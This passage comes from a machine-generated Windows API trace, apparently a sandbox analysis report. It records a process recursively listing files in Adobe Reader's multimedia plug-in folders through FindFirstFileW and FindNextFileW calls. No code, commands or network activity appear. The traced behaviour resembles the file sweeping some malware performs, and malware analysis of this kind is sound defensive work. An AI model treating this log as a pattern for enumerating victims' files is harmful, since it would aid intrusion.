ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0229.676] GetProcessHeap () returned 0x550000 [0229.676] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.911] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.911] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0229.911] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.HRV", cAlternateFileName="")) returned 1 [0229.911] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.HRV", cAlternateFileName="QUICKT~1.HRV")) returned 1 [0229.911] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HRV", cAlternateFileName="WINDOW~1.HRV")) returned 1 [0229.911] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HRV", cAlternateFileName="WINDOW~1.HRV")) returned 0 [0229.911] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.911] GetProcessHeap () returned 0x550000 [0229.911] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.912] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0229.912] GetProcessHeap () returned 0x550000 [0229.912] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.913] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.913] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0229.913] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.HUN", cAlternateFileName="")) returned 1 [0229.913] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.HUN", cAlternateFileName="QUICKT~1.HUN")) returned 1 [0229.913] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HUN", cAlternateFileName="WINDOW~1.HUN")) returned 1 [0229.913] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HUN", cAlternateFileName="WINDOW~1.HUN")) returned 0 [0229.913] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.913] GetProcessHeap () returned 0x550000 [0229.913] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.913] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0229.914] GetProcessHeap () returned 0x550000 [0229.914] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.914] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.914] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0229.915] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.POL", cAlternateFileName="")) returned 1 [0229.915] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.POL", cAlternateFileName="QUICKT~1.POL")) returned 1 [0229.915] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.POL", cAlternateFileName="WINDOW~1.POL")) returned 1 [0229.915] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.POL", cAlternateFileName="WINDOW~1.POL")) returned 0 [0229.915] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.915] GetProcessHeap () returned 0x550000 [0229.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.915] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0229.915] GetProcessHeap () returned 0x550000 [0229.915] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.916] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.916] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0229.916] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.RUM", cAlternateFileName="")) returned 1 [0229.916] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.RUM", cAlternateFileName="QUICKT~1.RUM")) returned 1 [0229.916] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUM", cAlternateFileName="WINDOW~1.RUM")) returned 1 [0229.916] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUM", cAlternateFileName="WINDOW~1.RUM")) returned 0 [0229.916] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.917] GetProcessHeap () returned 0x550000 [0229.917] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.917] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0229.917] GetProcessHeap () returned 0x550000 [0229.917] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.918] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.918] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0229.918] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.RUS", cAlternateFileName="")) returned 1 [0229.918] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.RUS", cAlternateFileName="QUICKT~1.RUS")) returned 1 [0229.918] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUS", cAlternateFileName="WINDOW~1.RUS")) returned 1 [0229.918] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUS", cAlternateFileName="WINDOW~1.RUS")) returned 0 [0229.918] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.918] GetProcessHeap () returned 0x550000 [0229.918] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.918] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0229.918] GetProcessHeap () returned 0x550000 [0229.919] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.919] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 